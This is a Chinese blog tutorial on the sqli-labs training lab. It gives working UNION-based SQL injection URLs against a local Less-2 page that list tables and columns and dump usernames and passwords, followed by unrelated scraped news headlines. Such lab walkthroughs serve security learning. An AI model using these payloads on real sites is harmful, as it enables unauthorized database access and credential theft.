sqlli-labs基本使用
创始人
2024-05-28 21:25:35
0次

1.安装hackbar插件

链接：https://pan.baidu.com/s/1-QIYmAU-BV_DEONfxovizQ
提取码：dc66
在这里插入图片描述

2.SQL注入表信息解析（案例使用的sqlli-labs自带的数据库security）

2.1 通过order by 判断表有多少列

分析表有多少列（通过order by 列数 不断尝试，直到报错为止），如下图判断出该表有三列
在这里插入图片描述

2.2 有回显点，则通过union屏蔽连接左侧的sql，只执行自己的sql

通过将id赋为错误的数据将sql左侧的数据屏蔽，后面可以根据系统自带的信息来进行分析
通过 select user()用户信息 database()数据库 version()版本
在这里插入图片描述

2.3 获取数据库表的所有信息在这里插入图片描述

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where TABLE_SCHEMA=database()
  • group_concat()：是将此列的所有数据一行显示出来，如不加此函数，只会显示一个表名信息。
  • information_schema：高版本5.0以上均有该系统表，通过select version()知道数据库的版本，则知道该版本所对应的系统表的结构。

2.4 获取指定表中所有列的信息

通过系统自带函数information_schema.COLUMNS
在这里插入图片描述

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='users'

2.5 获取表中所有数据

已知表中字段，通过group_concat获取表中列的所有信息（0x3a为16进制的冒号，作为显示分隔使用）
在这里插入图片描述

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x3a,password),3 from users
词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇：名人创业故事大全 普通人成功创业小故事 名人创业故事真实白手起家 名人创业故事短视频

下一篇：Allegro如何将Waived掉的DRC显示或隐藏操作指导

相关内容

热门资讯

中国维护国际经贸秩序的立场坚定... 应美方请求，中美经贸高层会谈在瑞士举行。中方在充分考虑全球期待、中方利益、美国业界和消费者呼吁的基础...
来自雪豹之都西宁的“礼物” 雪豹文创。本报记者 陆广涛 摄本报记者 张慧慧“这个设计很有特点！”“妈妈，我想把这个雪豹毛绒公仔带...
330千伏玉树二回接入工程 保... 本报讯 （记者 董洁 通讯员 王宏霞） “地区电力调度控制中心已下令，现在请大家按照调度指令开展作业...
开展家庭教育指导 检护少年健康... 转自：法治日报□ 本报记者 徐鹏　　近日，青海省人民检察院联合省人民法院、省妇联、省教育厅、省民政厅...
成都“送体到校”活动落幕 转自：成都日报锦观惠及35000余名学生成都“送体到校”活动落幕 本报讯 （成都日报锦观新闻...
成都蓉城豪取五连胜 转自：成都日报锦观客场4∶0梅州成都蓉城豪取五连胜 本报讯 （成都日报锦观新闻记者 胡锐凯）...
节后错峰游 成都是全国第三大热... 转自：成都日报锦观节后错峰游 成都是全国第三大热门目的地 本报讯 （成都日报锦观新闻记者 杨富...
李在明登记成为韩国总统候选人 转自：成都日报锦观李在明登记成为韩国总统候选人 韩国共同民主党总统候选人李在明10日正式登记成...
结婚领证不用户口簿 还需哪些材... 转自：成都日报锦观结婚领证不用户口簿 还需哪些材料？民政部就婚姻登记“全国通办”政策作七问七答 ...
平凡铸就伟大 劳动闪耀滇池——... 在大渔街道新村社区里，有这样一位令人敬仰的劳动者——刘琼丽，她不仅是民间画的坚守者，更是一名优秀的共...
中医药非遗展讲述“生生之道” 日前，“生生之道——中医药非遗主题展”在北京中国非物质文化遗产馆开幕。展览展示了近50项传统医药类非...
从历史长河到现实岸畔的幽远沉思 王昭君、蔡文姬、冼夫人、刘禹锡、陆游、李清照、柳如是、黄遵宪……这一个个耳熟能详的名字，从杜卫东的书...
当外国人也爱上中国字 阅读提示 4月20日是第16个联合国中文日，由河南省人民政府主办，联合国教科文组织、中日韩合作...
《几生修得到梅花：有所思堂诗稿... 本报讯 近日，朱小平诗集《几生修得到梅花：有所思堂诗稿》由中国华侨出版社再版。这本诗集情真意切，旨...
母爱，铭刻在骨头里 《母爱情深》（中国青年出版社）是厉彦林纪念母亲去世十周年出版的一部散文专著。书中，作者以深沉与哀思、...
宣布停火后 印控克什米尔地区再... 　　当地时间10日晚，印控克什米尔地区再次传出爆炸声。　　地区官员奥马尔·阿卜杜勒（Omar Abd...
绿茵燃情 高原放歌 五月的西宁，丁香绽放，花香四溢。夏都西宁·雪豹之都·丁香之城的绿茵场上，一场足球盛宴——第二届“大美...
首届中国新疆民间艺术季优秀节目... 本报讯（记者 师晓琼 摄影报道）5月9日，首届中国新疆民间艺术季优秀节目巡演青海站活动在经久不息的掌...
佩斯科夫：俄会考虑30天停火提... △佩斯科夫（资料图）　　总台记者当地时间5月10日获悉，俄罗斯总统新闻秘书佩斯科夫在接受美国媒体采访...
今天是母亲节 记得跟妈妈说 我... 123海报设计：卢文茂、蒋应杰来源：中国兰州网、兰州发布编辑：柴任翔